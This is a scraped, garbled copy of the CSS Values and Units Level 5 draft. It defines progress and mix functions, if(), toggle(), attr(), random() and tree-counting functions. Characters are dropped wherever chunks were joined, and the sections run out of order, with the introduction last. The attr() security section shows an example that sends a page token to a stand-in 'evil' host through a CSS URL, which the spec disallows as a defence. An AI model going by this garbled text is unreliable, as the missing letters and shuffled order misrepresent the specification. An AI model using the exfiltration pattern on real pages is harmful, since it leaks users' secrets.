ionreturns a number valuerepresenting current value of the specified media query [MEDIAQUERIES-4] as a progress value between two explicit values of the media query (as the progress start value and progress end value). The syntax of media-progress() is defined as follows:media-progress() = media-progress(mf-name, calc-sum, calc-sum) where the value of the media feature corresponding to mf-name represents the progress value,and the two calc-sum values representthe progress start value and progress end value,respectively. The specified media feature must be a valid “range” type feature,the specified progress start value and progress end value must be valid values for the specified media query,and both calculation values must have a consistent type,or else the function is invalid. The progress start value and progress end value calculations are interpreted as specified for the media feature (rather than as specified by the context the function is used in). The value of media-progress() is a number,determined by calculating a progress function. Note: media-progress() is not a math function;it’s just a function that evaluates to a number. 5.3. Container Query Progress Values: the container-progress() notation The container-progress() functional notationis identical to the media-progress() functional notation,except that it accepts container features [CSS-CONTAIN-3] in place of media features. The syntax of container-prog

ess() is defined as follows:container-progress() = container-progress(mf-name [ of container-name ]?, calc-sum, calc-sum) where mf-name represents a size feature and the optional container-name component specifiesthe named containers to consider when selecting a containerto resolve them against.The value of the size feature is the progress value,and the two calc-sum values representthe progress start value and progress end value,respectively. The specified mf-name must be a valid size feature,the specified progress start value and progress end value must be valid values for that size feature,and both calculation values must have a consistent type,or else the function is invalid. container-progress() is only valid in a property value context;it cannot be used in, for example, a media query. The progress start value and progress end value calculations are interpreted as specified for the size feature (rather than as specified by the context the function is used in).If no appropriate containers are found, container-progress() resolves its size-feature queryagainst the small viewport size. The value of media-progress() is a number,determined by calculating a progress function. Note: container-progress() is not a math function;it’s just a function that evaluates to a number. 6. Mixing and Interpolation Notations: the *-mix() family This feature does not handle multiple breakpoints very well,and might need to be

edesigned. [Issue #6245] Several mix notations in CSSallow representing the interpolation of two values,the mix start value and the mix end value,at a given point in progress between them (the mix progress value).These functional notations follow the syntactic pattern:mix-function() = mix-function( progress, [=mix start value|start-value=], [=mix end value|end-value=] ) The mix notations in CSS include: calc-mix(),for interpolating length, percentage, time,and other dimensions representable in calc() expressions color-mix(),for interpolating two color values cross-fade(),for interpolating image values palette-mix(),for interpolating two font-palette values and finally the generic mix() notation,which can represent the interpolation of any property’s values(but only the property’s entire value, not individual components). Note: The cross-fade() notationalso has an alternative syntaxthat allows for mixing more than two values,but does not allow for the more complex expressions of progress. The mix() notation also has a variant that takes a set of keyframes.It does this by referring to an @keyframes rule,and pulling the corresponding property declaration out of that.It would be nice to allow the other mix notations to take keyframe also,but how would we represent a set of keyframes for a component value (rather than a full property value)? 6.1. Representing Interpolation Progress: the pr

gress type The progress value type representsthe mix progress value in a mix notation,and ultimately resolves to a percentage.It can, however, draw that percentage valuefrom sources such as media queries and animation timelines,and can also convert it through an easing function before using it for interpolation. Its syntax is defined as follows:progress = [ percentage | number | animation-timeline ] && [ by easing-function ]? where: percentage-token Computes to the equivalent number: 0% becomes 0, 100% becomes 1,etc. Note: This only allows literal percentages,like 15%;calculations like calc(100% / 7) will not work,as they will instead attempt to use the normal rulesfor resolving a percentage against another type(such as length, in width).Use expressions like calc(1 / 7) instead. number Represents the mix progress value. Note: This allows the use of the progress(), media-progress(),and container-progress() notations. animation-timeline Represents the mix progress value as the progress of the specified animation timeline.The values none and auto, however,are invalid. [CSS-ANIMATIONS-2] [WEB-ANIMATIONS-2] easing-function Converts the specified input mix progress value into an output mix progress value using the specified easing function. [CSS-EASING-1] Note: Progress values below 0 and above 1 are valid;they

llow representing interpolation beyond the rangedefined by the start and end values. Note: While progress itself can be a percentage,mapping directly to the equivalent number,a function that resolves to a number,like progress(),resolves percentages using the normal rules for the context;for example, in width, they would be resolved against a length. The computed value of a progress value specified with percentage or number is the computed number converted through the easing-function (if any).The computed value of a progress value specified with animation-timeline is the computed animation-timeline and easing-function (if any). 6.2. Interpolated Numeric and Dimensional Values: the calc-mix() notation The calc-mix() mix notation represents an interpolated numeric or dimensional value.Like calc(), it is a math function,with the following syntactic form:calc-mix() = calc-mix( progress, calc-sum, calc-sum ) The calc-sum arguments can resolveto any number, dimension, or percentage,but must have a consistent type or else the function is invalid.The result’s type will be the consistent type, made consistent with the type of the progress value. The used value of a valid calc-mix() isthe result of interpolating these two valuesto the progress given by progress.If the progress value can be computed to a number,then the computed value is likewisethe result of interpolating the two c

mputed values to that progress value(in other words, A * (1-progress) + B * progress)it is otherwise the calc-mix() notation itselfwith its arguments each computed according to their type. 6.3. Interpolated Color Values: the color-mix() notation This specification extends the color-mix() functional notation as a mix notation accepting the following syntaxes:color-mix() = color-mix( [ progress && color-interpolation-method? ] , color, color ) | color-mix( color-interpolation-method, [color && percentage [0,100]?]#{2} ) The used value of the first mix notation variantis equivalent to assigning the progress value,as a percentage,to the percentage of the second color argument in the second variant. That is, color-mix(progress, color1, color2) is equivalent to color-mix(color1, color2 progress). See CSS Color 5 § 3 Mixing Colors: the color-mix() Function for the normative definition of the second variant. progress allows returning percentages outside 0-100%,but color-mix() doesn’t allows such values,so need to define how that gets processed. 6.4. Interpolated Image Values: the cross-fade() notation This specification extends the cross-fade() functional notation as a mix notation accepting the following syntaxes:cross-fade() = cross-fade( progress, [ image | color ], [ image | color ] ) | cross-fade( cf-image# ) The used value of the first mix notation variantis equivalent to assigning the progress v

lueas the percentage of the second color argument in the second variant. That is, cross-fade(progress, image1, image2) is equivalent to cross-fade(image1, image2 progress). See CSS Images 4 § 2.6 Combining images: the cross-fade() notation for the normative definition of the second variant. 6.5. Interpolated Transform Values: the transform-mix() notation The transform-mix() mix notation represents an interpolated transform-list,with the following syntactic form:transform-mix() = transform-mix( progress, transform-list, transform-list ) The used value of a valid transform-mix() isthe result of interpolating these two valuesto the progress given by progress.If the progress value can be computed to a percentage,and the transform-lists can be interpolatedwithout used-value-time information,then the computed value is likewisethe result of interpolating the two computed values to that progress value;it is otherwise the transform-mix() notation itselfwith its arguments each computed according to their type. transform-mix() is, itself, a transform-function. 6.6. Interpolated Property Values: the mix() notation Interpolation of any two property values can be representedby the mix() mix notation,which supports two alternative syntax patterns:mix() = mix( progress , whole-value , whole-value ) | mix( progress && of keyframes-name ) The first syntax alternative, like other mix notations,interpolates betwe

n the first whole-value (its mix start value)and the second whole-value (its mix end value).The second uses the mix progress value to interpolate the corresponding property declarations from a set of keyframes,allowing for more complex interpolation curves. For the standard mix notation variant,if the two whole-values being interpolated by mix() are interpolable as values for the property in which it is specified,and the interpolated value can be represented without mix(),the computed value of mix() isthe result of interpolating these two valuesto the progress given by progress.Otherwise,the computed value of mix() isthe mix() functional notation itselfwith its progress value computedand its whole-values (if provided)computed as values for this property. For example, most uses of mix() will resolve at computed-value time: color: mix(90%, red, blue);/* via simple interpolation, computes to: */color: rgb(10% 0 90%);color: mix(90%, currentcolor, black);/* can’t be fully resolved at computed-value time, but still has a defined representation: */color: color-mix(currentcolor 90%, black 10%);float: mix(90%, left, right);/* discretely animatable */float: right; But a few cases don’t have an intermediate representation:transform: mix(90%, translate(calc(1em + 50%)), rotate(30deg));/* because functions don’t match, it will interpolate via matrix(). But translate(%) needs layout information to turn into a matrix(), so the in

erpolated value can’t actually be represented. Computes to: */transform: mix(90%, translate(calc(16px + 50%)), rotate(30deg));transform: mix(90% of ripple); The mix() notation is a whole-value.Additionally,if any of its whole-value arguments are not animatable,the notation is invalid. For example, the following declarations are invalid,and will be ignored: /* Invalid start value */color: mix(90%, #invalid, #F00);/* Function is mixed with other values */background: url(ocean) mix(10%, blue, yellow);/* animation-* is not animatable */animation-delay: mix(0%, 0s, 2s); 7. Miscellaneous Value Substituting Functions 7.1. Representing An Entire Property Value: the whole-value type Several functions defined in this specificationcan only be used as the "whole value" of a property.For example, background-position: toggle(50px 50px, center); is valid,but background-position: toggle(50px, center) 50px; is not.The whole-value production represents these values. All properties implicitly accept a whole-value as their entire value,just as they accept the CSS-wide keywords as their entire value. When used as a component value of a function, whole-value also represents any CSS valuenormally valid as the whole valueof the property in which it is used(including additional whole-value functions).However, some functions may restrictwhat a whole-value argument can include. 7.2. Selecting the First Supported Value: th

first-valid() notation CSS supports progressive enhancement with its forward-compatible parsing:authors can declare the same property multiple times in a style rule,using different values each time,and a CSS UA will automatically use the last one that it understandsand throw out the rest.This principle, together with the @supports rule,allows authors to write stylesheets that work wellin old and new UAs simultaneously. However, using var() (or similar substitution functions that resolve after parsing)thwarts this functionality;CSS UAs must assume any such property is valid at parse-time. The first-valid() functional notation inlines the fallback behaviorintrinsic to parsing declarations.Unlike most notations,it can accept any valid or invalid syntax in its arguments,and represents the first value among its argumentsthat is supported (parsed as valid) by the UAas the whole value of the property it’s used in.first-valid() = first-valid( declaration-value# ) If none of the arguments represent a valid value for the property,the property is invalid at computed-value time. first-valid() is a whole-value. Should this have a different name?We didn’t quite decide on it during the resolution to add this. Note: Despite effectively taking whole-values as its argument, first-valid() is instead defined to take declaration-valuesbecause, by definition,it’s intended to be used in cases where its values might be invalid for the de

laration it’s in. declaration-value imposes no contextual validity constraints on what it matches,unlike whole-value. 7.3. Conditional Value Selection: the if() notation The if() notation is an arbitrary substitution function that represents conditional values.Its argument consists of an ordered semi-colon–separated list of statements,each consisting of a conditionfollowed by a colonfollowed by a value.An if() notation representsthe value corresponding to the first condition in its argument list to be true;if no condition matches,then the if() notation represents an empty token stream. The if() notation syntax is defined as follows:if() = if( [ if-condition : declaration-value? ; ]* if-condition : declaration-value? ;? )if-condition = boolean-expr[ if-test ] | elseif-test = supports( [ supports-condition | ident : declaration-value ] ) | media( media-query ) | style( style-query ) The else keyword representsa condition that is always true. To resolve an if() function,return the declaration-value?associated with the first if-condition that is true;if none are true,return nothing (an empty token stream). Note: Unlike using @media/@supports/@container rules,which just ignore their contents when they’re falseand let the cascade determine what values otherwise apply,declarations with if() do not roll back the cascade if the conditions are false;any fallback values must be provided i

line. 7.4. Toggling Between Values: the toggle() notation The toggle() expression allows descendant elementsto cycle over a list of values instead of inheriting the same value. The following example makes em elements italic in general,but makes them normal if they’re inside something that’s italic: em { font-style: toggle(italic, normal); } The following example cycles markers for nested lists,so that a top level list has disc-shaped markers,but nested lists use circle, then square, then box,and then repeat through the list of marker shapes,starting again (for the 5th list deep) with disc. ul { list-style-type: toggle(disc, circle, square, box); } The syntax of the toggle() expression is:toggle() = toggle( whole-value# ) The toggle() notation is a whole-value.However, it is not allowed to be nested,nor may it contain attr() or calc() notations;declarations containing such constructs are invalid. The following toggle() examples are all invalid: background-position: 10px toggle(50px, 100px);/* toggle() must be the sole value of the property */list-style-type: toggle(disc, 50px);/* 50px isn’t a valid value of list-style-type */ To determine the computed value of toggle(),first evaluate each argument as if it were the sole value of the property in which toggle() is placedto determine the computed value that each represents,called Cn for the n-th argument to toggle().Then, compare the property

s inherited value with each Cn.For the earliest Cn that matches the inherited value,the computed value of toggle() is Cn+1.If the match was the last argument in the list,or there was no match,the computed value of toggle() is the computed value that the first argument represents. Note: This means that repeating values in a toggle() short-circuits the list.For example toggle(1em, 2em, 1em, 4em) will be equivalent to toggle(1em, 2em). Note: That toggle() explicitly looks at the computed value of the parent,so it works even on non-inherited properties.This is similar to the inherit keyword,which works even on non-inherited properties. Note: That the computed value of a property is an abstract set of values,not a particular serialization [CSS21],so comparison between computed values should always be unambiguous and have the expected result.For example,a Level 2 background-position computed valueis just two offsets, each represented as an absolute length or a percentage,so the declarations background-position: top center and background-position: 50% 0% produce identical computed values.If the "Computed Value" line of a property definition seems to define something ambiguous or overly strict,please provide feedback so we can fix it. If toggle() is used on a shorthand property,it sets each of its longhands to a toggle() valuewith arguments corresponding to what the longhand would have receivedhad each of the original toggle() arguments

been the sole value of the shorthand. For example, the following shorthand declaration: margin: toggle(1px 2px, 4px, 1px 5px 4px); is equivalent to the following longhand declarations:margin-top: toggle(1px, 4px, 1px);margin-right: toggle(2px, 4px, 5px);margin-bottom: toggle(1px, 4px, 4px);margin-left: toggle(2px, 4px, 5px); Note that, since 1px appears twice in the top margin and 4px appears twice in bottom margin,they will cycle between only two valueswhile the left and right margins cycle through three.In other words, the declarations above will yield the same computed valuesas the longhand declarations below:margin-top: toggle(1px, 4px);margin-right: toggle(2px, 4px, 5px);margin-bottom: toggle(1px, 4px);margin-left: toggle(2px, 4px, 5px); which may not be what was intended. 7.5. Custom Property References: the var() notation The var() notation substitutes the value of a custom property,see the CSS Custom Properties for Cascading Variables Module. [CSS-VARIABLES] 7.6. Inherited Value References: the inherit() notation Like the inherit keyword, the inherit() functional notation resolves to the computed value of a property on the parent.Rather than resolving to the value of the same property, however,it resolves to the tokenized computed value of the property specified as its first argument.Its second argument, if present, is used as a fallbackin case the first argument resolves to the guaranteed-invalid valu

. inherit() is an arbitrary substitution function whose syntax is defined as:inherit() = inherit( custom-property-name, declaration-value? ) To resolve an inherit() function,return the inherited value of the custom property specified by the first argument,and (if specified) the fallback specified by the second argument. Note: Future levels of CSS may allow specifying standard CSS properties in inherit();however because the tokenization of computed values is not fully standardized for all CSS properties,this feature is deferred from Level 5.Note that the computed value differs from the used value,and is not always the resolved value returned by getComputedStyle();thus even if inherit(width) were allowed,it would frequently return the keyword auto, not the used length. 7.7. Attribute References: the attr() notation The attr() function substitutes the value of an attribute on an element into a property,similar to how the var() functionsubstitutes a custom property value into a function.attr() = attr( attr-name syntax? , declaration-value?)attr-name = [ ident-token | ]? ident-token The arguments of attr() are: attr-name Gives the name of the attribute being referenced,similar to wq-name (from [SELECTORS-3])but without the possibility of a wildcard prefix. If no namespace is specified(just an identifier is given, like attr(foo)),the null namespace is implied.(This is usually what’s desired,as namespaced

attributes are rare.In particular, HTML and SVG do not contain namespaced attributes.)As with attribute selectors,the case-sensitivity of attr-name depends on the document language. If attr() is used in a property applied to an element,it references the attribute of the given name on that element;if applied to a pseudo-element,the attribute is looked up on the pseudo-element’s originating element. syntax Specifies how the attribute value is parsed into a CSS value.Values that fail to parse according to the syntaxtrigger fallback. Omitting the syntax argumentcauses the attribute’s literal valueto be treated as the value of a CSS string,with no CSS parsing performed at all(including CSS escapes, whitespace removal, comments, etc). Note: This is different from specifying a syntax of *,which still triggers CSS parsing(but with no requirements placed on itbeyond that it parse validly),and which substitutes the result of that parsing directly,rather than as a string value. declaration-value Specifies a fallback value for the attr(),which will be substituted instead of the attribute’s valueif the attribute is missingor fails to parse as the specified type. If the syntax argument is omitted,the fallback defaults to the empty string if omitted;otherwise, it defaults to the guaranteed-invalid value if omitted. If a property contains one or more attr() functions,and those functions are syntactically valid,the entire property’s g

ammar must be assumed to be valid at parse time.It is only syntax-checked at computed-value time,after attr() functions have been substituted. Note that the default value need not be of the type given.For instance, if the type required of the attribute by the author is number px,the default could still be auto,like in width: attr(size number px, auto);. This example shows the use of attr() to visually illustrate datain an XML file: stock wood length="12"/ wood length="5"/ metal length="19"/ wood length="4"//stockstock::before { display: block; content: "To scale, the lengths of materials in stock are:";}stock * { display: block; width: attr(length number em, 0px); height: 1em; border: solid thin; margin: 0.5em;}wood { background: orange url(wood.png);}metal { background: silver url(metal.png);} 7.7.1. Attribute Value Substitution: the attr() notation attr() is an arbitrary substitution function,similar to var(),and so is replaced with the value it represents (if possible)at computed value time;otherwise, it’s replaced with the guaranteed-invalid value,which will make its declaration invalid at computed-value time. To resolve an attr() function: Let el be the element that the style containing the attr() functionis being applied to.Let attr name be the attribute name specified in the function.Let syntax be the syntax specified in the function,or null if it was omitted.Let f

llback be the declaration-value? argument specified in the function,or the guaranteed-invalid value if it was omitted. If there is no attribute named attr name on el,return the guaranteed-invalid value and fallback.Otherwise, let attr value be that attribute’s value. If syntax is null,return a CSS string whose value is attr value. Note: No parsing or modification of any kind is performed on the value. Parse with a syntax attr value, with syntax and el.Return the result and fallback. 7.7.2. Security An attr() function can reference attributesthat were never intended by the page to be used for styling,and might contain sensitive information(for example, a security token used by scripts on the page). In general, this is fine.It is difficult to use attr() to extract information from a pageand send it to a hostile party,in most circumstances.The exception to this is URLs.If a URL can be constructed with the value of an arbitrary attribute,purely from CSS,it can easily send any information stored in attributesto a hostile party,if 3rd-party CSS is allowed at all. To guard against this,the values produced by an attr() are considered attr()-tainted,as are functions that contain an attr()-tainted value. Registered custom properties containing attr() maintain the attr()-taint on their attr()-tainted valuesacross var() substitution. Using an attr()-tainted value as or in a url makes a declaration

nvalid at computed-value time. For example,all of the following are invalid: background-image: src(attr(foo)); - can’t use it directly. background-image: image(attr(foo)) - can’t use it in other url-taking functions. background-image: src(string("http://example.com/evil?token=" attr(foo))) - can’t "launder" it thru another function. --foo: attr(foo); background-image(src(var(--foo))) (assuming that --foo is a registered custom property with string syntax) - can’t launder the value thru another property, either. However, using attr() for other purposes is fine,even if the usage is near a url: background-image: image("foo.jpg", attr(bgcolor color)) is fine;the attr() is providing a fallback color,and the url isn’t attr()-tainted. Note: Implementing this restrictionrequires tracking a dirty biton values constructed from attr() values,since they can be fully resolved into a stringvia registered custom properties,so you can’t rely on just examining the value expression.Note that non-string types can even trigger this,via functions like string() that can stringify other types of values: --foo: attr(foo number); background-image: src(string(var(--foo))) needs to be invalid as well. 8. Generating Random Values It is often useful to incorporate some degree of "randomness" to a design,either to make repeated elements on a page feel less static and identical,or just to

dd a bit of "flair" to a page without being distracting. The random() and random-item() functions(the random functions)allow authors to incorporate randomness into their page,while keeping this randomness predictable from a design perspective,letting authors decide whether a random value should be reused in several placesor be unique between instances. The exact random-number generation method is UA-defined.It should be the case that two distinct random valueshave no easily-detectable correlation,but this specification intentionally does not specify what that meansin terms of cryptographic strength.Authors must not rely on random functions for any purposes that depend on quality cryptography. 8.1. Generating a Random Numeric Value: the random() function The random() function is a math function that represents a random value between a minimum and maximum value,drawn from a uniform distribution,optionally limiting the possible values to a step between those limits:random() = random( random-caching-options? , calc-sum, calc-sum, [by calc-sum]? )random-caching-options = dashed-ident || per-element Its arguments are: random-caching-options The optional random-caching-options provides some control over whether a given random() functionresolves similarly or differently to other random()s on the page.See § 8.3 Generating/Caching Random Values: the random-caching-options value for details. By default, rand

m() resolves to a single value,shared by all elements using that style,and two random() functions with identical argumentswill resolve to the same random value. Providing a dashed-ident does nothing,but can make the argument lists distinctbetween two or more otherwise-identical random() functions,so they’ll generate distinct values. The per-element keyword causes the random() functionto generate a different value on each element the function is applied to,rather than resolving to a single value per usage in the stylesheet. calc-sum, calc-sum The two required calculations specify the minimum and maximum valuethe function can resolve to.Both limits are inclusive(the result can be the min or the max). If the maximum value is less than the minimum value,it behaves as if it’s equal to the minimum value. For example, random(100px, 300px) will resolve to a random length between 100px and 300px:it might be 100px, 300px, or any value between them like 234.5px. by calc-sum The final optional argumentspecifies a step value:the values the function can resolve toare further restricted to the form min + (N * step),where N is a non-negative integerchosen uniformly randomly from the possible valuesthat result in an in-range value. For example, random(100px, 300px, by 50px) can only resolve to 100px, 150px, 200px, 250px, or 300px;it will never return a value like 120px. While the minimum value is a

ways a possible result,the maximum value isn’t always,if it’s not also a multiple of the step from the minimum.For example, in random(100px, 300px, by 30px),the largest possible value it can resolve to is 280px,6 steps from the minimum value. Note that rounding issues might have an effect here:in random(100px, 200px, by 100px / 3) you’ll definitely get three possible values(100px, and approximately 133.33px and 166.67px),but whether 200px is possible depends on rounding precision.To be safe, you can put the maximum value slightly above where you expect the final step to land,like random(100px, 201px, by 100px / 3). As explained in the definition of round(),CSS has no "natural" precision for values,but the step value can be used to assign one. For example, random(100px, 500px, by 1px) restricts it to resolving only to whole px values; random(1, 10, by 1) is restricted to resolving only to integers;etc. Note: The definition of the step does not allowfor naively generating a random value in the rangeand then rounding it to the nearest step value,as that can result in the values not appearing with the same weights.For example, random(100px, 200px, by 50px) has to generate the three possible values each with a 1/3 chance;a naive rounding-based method will instead incorrectly generate 150px twice as often as the boundary values. All of the calculation arguments can resolve to any number, dimension, or percentag

but must have the same type, or else the function is invalid;the result will have the same type as the arguments. For example, random(50px, 100%, by 1em) is valid(assuming percentages are valid in the context this is used,and resolve to a length),as all three arguments resolve to a length. However, random(50px, 180deg) is invalid,as lengths and angles are not the same type. A random() function can be simplified as soon as its argument calculations can be simplified to numeric values. Note: This means that random() is usually resolvedby computed value time,and thus will inherit as a static numeric value.However, if the argument calculations aren’t resolveduntil used value time(such as if they include percentage valuesthat require layout information to resolve), inheritance will transfer the random() function itself.(This is no different, however, to the behavior of the percentages themselves,which would inherit as percentagesand thus might resolve to different values on the child elements.) At least in theory it should be fine to use random() in non-property contexts,so long as per-element isn’t specified;it’s well-defined what happens with @media (max-width: random(100px, 500px)) {...},for example.I suspect we want to disallow it, tho? 8.1.1. Argument Ranges In random(A, B, by C),if A or B is infinite,the result is NaN.If C is infinite,the result is A. (If C is zero or negative,the r

sult is A,but that falls out of the standard definition.) Note: As usual for math functions,if any argument calculation is NaN,the result is NaN. 8.2. Picking a Random Item From a List: the random-item() function The random-item() functionresolves to a random itemfrom among its list of items.random-item() = random-item( random-caching-options , [ declaration-value? ]# ) The required random-caching-options is interpreted identically to random().(See § 8.3 Generating/Caching Random Values: the random-caching-options value for details.) Like random(),the dashed-ident can be used to force similar random-item() functionsto generate distinct random values,and per-element causes it to resolve to a distinct value on each element. Aside from these,the grouping of random-item() functions as "identical"is much simpler:all that matters is the number of arguments. That is, random-item(--x, red, blue, green) and random-item(--x, 1, 2, 3) will always resolve to the same argument index:either red and 1, or blue and 2, or green and 3.This allows coordination between groups of propertiesthat all want to use a random set of values. On the other hand, random-item(--x, red, blue, green) and random-item(--x, 1, 2, 3, 4) will have no connection to each other;any of the 12 possible combinations can occur. Note: The random-caching-options argument is required in random-item(),but optional in random(),

tboth for parsing reasons(it’s impossible to tell whether random-item(--foo, --bar, --baz) has three declaration-value argumentsor two and a random-caching-options argument),and because accidentally associating the random generation of random-item() functions togetheris much easier to do accidentally,since only the number of arguments is used to distinguish instances. The remaining arguments are arbitrary sequences of CSS values.The random-item() function resolves to one of these sequences,chosen uniformly at random. The random-item() function is an arbitrary substitution function,like var(). That is, if you use random-item(): So long as random-item() itself (and any other arbitrary substitution functions)is syntactically valid,the entire property is assumed to be valid at parse time. random-item() is substituted with whatever value it resolves toat computed value timewhen you’d substitute a var(),so children all inherit the same resolved value. If the substituted value ends up making the property invalid,the property’s value becomes the guaranteed-invalid value. Define arbitrary substitution function,probably over in Variables,since we have several upcoming functions leaning on this functionality. Since random-item() is var()-like,we probably want to restrict it to only be usable in properties.(This is likely something we want to apply to all such functions.)Tho random() is a fundament

lly different kind of value,we probably want to restrict it as well,for thematic consistency. 8.3. Generating/Caching Random Values: the random-caching-options value In a programming language like JavaScript,there’s a clear temporal ordering to code,so you can tell exactly when something like a call to Math.random() is evaluated.You can also store the results in a variable,making it clear when you’re reusing a single random value in multiple places,versus using a distinct random value in each location. CSS, on the other hand, is a declarative language(code is not "executed" in any particular order,nor is there any control over how many times something is "executed");it makes it very easy to apply identical styles to multiple elementsbut difficult to specify distinct values for each of them(making it unclear whether a property using random() is meant to resolve to the same value on each element it’s applied toor to distinct values on each);and it has very limited "variable" functionality(making it difficult to intentionally reuse a particular randomly-generated value in several places). To resolve these issues,the random() and random-item() functions are defined to generate random valuesunder the following caching semantics: Each instance of random() or random-item() in a stylesheetspecifies a random-caching key.Two instances of either function must resolve to identical valuesif their random-caching keys are identical;t

ey must resolve to distinct valuesif they’re different. ("Distinct" here means generated by a fresh random operation;this might coincidentally result in the same value as another random operation.) For random(),the random-caching key is a tuple of: The used value of the minimum calculation. The used value of the maximum calculation. The used value of the step calculation, if present,or null otherwise. The dashed-ident part of the random-caching-options, if present,or null otherwise. If per-element is specified in the random-caching-options,a unique value per element or pseudo-element the function appears in. For random-item(),the random-caching key is a tuple of: The number of arguments to the function. The dashed-ident part of the random-caching-options, if present,or null otherwise. If per-element is specified in the random-caching-options,a unique value per element or pseudo-element the function appears in. The "unique value per element or pseudo-element" must have the same lifetimeas a JavaScript reference to the element(or to the originating element + sufficient additional info to uniquely identify the pseudo-element).Elements in separate documents(including across refreshes of the same page,which produces distinct documents with distinct elements) should have distinct unique values.(This is not strictly re

uired,to allow for pseudo-random generation of these values,but uniqueness should be likely enoughthat authors cannot depend on elements having the same values across documents.) Additionally, the random generation method should generate distinct values for the same operationwhen invoked on different documents(including refreshes of the same page). For example, in the following stylesheet: .random-square { width: random(100px, 500px); height: random(100px, 500px);} The random-caching keys for both functions are identical: (100px, 500px, null, null, null).This means that both will resolve to the exact same value,guaranteeing a square elementwith a size somewhere between 100px and 500px.Additionally, every .random-square elementwill have the same size. On other hand, in this stylesheet:.random-rect { width: random(100px, 500px); height: random(--x, 100px, 500px);} The random-caching keys are distinct between the two functions:the function in width has (100px, 500px, null, null, null),while the function in height has (100px, 500px, null, --x, null). This means the two functions will resolve to distinct random values,making it very unlikely for the element to be square.However, every element matching .random-rect will still have the same random size. Changing any aspect of the function also alters this key.The following two declarations are similarly distinct,resulting in the width and height havi

g no connection to each other:.random-rect-2 { width: random(100px, 500px); height: random(100px, 500px, by 50px);} But so long as the used values end up identical,two functions that look distinct might end up identical.For example, in the following code:.random-square-2 { font-size: 16px; width: random(160px, 320px); height: random(10em, 20em);} The two functions superficially look different,but after the lengths are fully resolvedthey end up with identical random-caching keys;each is (160px, 320px, null, null, null),so actually the widths and heights will end up always identical. By default, each instance of a random() function in a stylesheetessentially resolves to a static value,which is then shared by every element that property applies to.This behavior can be changed with the per-element keyword. For example, in:.foo { width: random(100px, 500px); } Multiple elements matching .foo will end up with the same random width. But in:.foo { width: random(per-element, 100px, 500px); } Every element matching .foo will get its own unique width. Note that this causes the value to be unique per element,not per value necessarily.For example, in:.random-squares { width: random(per-element, 100px, 500px); height: random(per-element, 100px, 500px);} Every element matching .random-squares will get a distinct random value,but that value will be the same for width and height on a given element,

aking the element square.This is because in both propertiesthe random-caching key is (100px, 500px, null, null, [unique value for the element]),so both functions will resolve to the same length on a single element. This makes random values in custom properties act more predictably.The preceding code could also be written as:.foo { --size: random(per-element, 100px, 500px); width: var(--size); height: var(--size);} 9. Tree Counting Functions: the sibling-count() and sibling-index() notations The sibling-count() functional notation represents,as an integer,the total number of child elements in the parent of the element on which the notation is used. The sibling-index() functional notation represents,as an integer,the index of the elementon which the notation is usedamong the children of its parent.Like :nth-child(), sibling-index() is 1-indexed. Note: The counter() function can provide similar abilities as sibling-index(),but returns a string rather than an integer. When used on a pseudo-element,these both resolve as if specifiedon its ultimate originating element. Note: Like the rest of CSS (other than selectors), sibling-count() and sibling-index() operate on the flat tree. Note: These functions may, in the future,be extended to accept an of selector argument,similar to :nth-child(),to filter on a subset of the children

Introduction This is a diff spec against CSS Values and Units Level 4. 1.1. Module Interactions This module extends [CSS-VALUES-4] which replaces and extends the data type definitions in [CSS21] sections 1.4.2.1, 4.3,and A.2. 2. Textual Data Types See CSS Values 4 § 4 Textual Data Types. 3. Value Definition Syntax See CSS Values 4 § 2 Value Definition Syntax. Additionally, Boolean combinations of a conditional notation.These are written using the boolean-expr[] notation,and represent recursive expressions of boolean logicusing keywords and parentheses,applied to the grammar specified in brackets,e.g. boolean-expr[ ( <media-feature> ) ] to express media queries. 3.1. Functional Notation Definitions See CSS Values 4 § 2.6 Functional Notation Definitions. 3.1.1. Commas in Function Arguments Functional notation often uses commasto separate parts of its internal grammar.However, some functions(such as mix())allow values that, themselves,can contain commas.These values(currently whole-value, declaration-value, and any-value)are comma-containing productions. To accommodate these sorts of grammars unambiguously,the comma-containing productions can be optionally wrapped in curly braces {}.These braces are syntactic, not part of the actual value.Specifically: A comma-containing production can either start with a "{" token, or not. If it does not start with

"{" token,then it cannot contain commas or {} blocks,in addition to whatever specific restrictions it defines for itself.(The production stops parsing at that point,so the comma or {} block is matched by the next grammar term instead;probably the function’s own argument-separating comma.) If it does start with a "{" token,then the production matches just the {} block that the "{" token opens.It represents the contents of that block,and applies whatever specific restrictions it defines for itselfto those contents,ignoring the {} block wrapper. For example, the grammar of the random-item() function is: random-item( random-caching-options, [declaration-value?]# ) The # indicates comma-separated repetitions,so randomly choosing between three keywordswould be written as normal for functions,like:font-family: random-item(--x, serif, sans-serif, monospace); However, sometimes the values you want to choose betweenneed to include commas.When this is the case,wrapping the values in {}allows their commas to be distinguishedfrom the function’s argument-separating commas:font-family: random-item(--x, {Times, serif}, {Arial, sans-serif}, {Courier, monospace}); This randomly chooses one of three font-family lists:either Times, serif, or Arial, sans-serif, or Courier, monospace. This is not all-or-nothing;you can use {} around some arguments that need it,while leaving others bare when they don’t need it.You are

also allowed to use {} around a value when it’s not strictly required.For example:font-family: random-item(--x, {Times, serif}, sans-serif, {monospace}); This represents choosing between three font-family lists:either Times, serif, or sans-serif, or monospace. However, this {}-wrapping is only allowed for some function arguments—​those defined as comma-containing productions.It’s not valid for any other productions;if you use {} around other function arguments,it’ll just fail to match the function’s grammarand become invalid.For example, the following is invalid:background-image: linear-gradient(to left, {red}, magenta); Note: Because {} wrappers are allowed even when not explicitly required,they can be used defensively around valueswhen the author isn’t sure if they’ll end up containing commas or not,due to arbitrary substitution functions like var().For example, font-family: random-item(--x, {var(--list1)}, monospace) will work correctlyregardless of whether the --list1 custom propertycontains a comma-separated list or not. Functional notations are serialized without {} wrappers whenever possible. The following generic productions are comma-containing productions: any-value whole-value declaration-value For legacy compat reasons,the declaration-value defined the fallback value for var() is a non-strict comma-containing production.It ignores the rules restricting what it can co

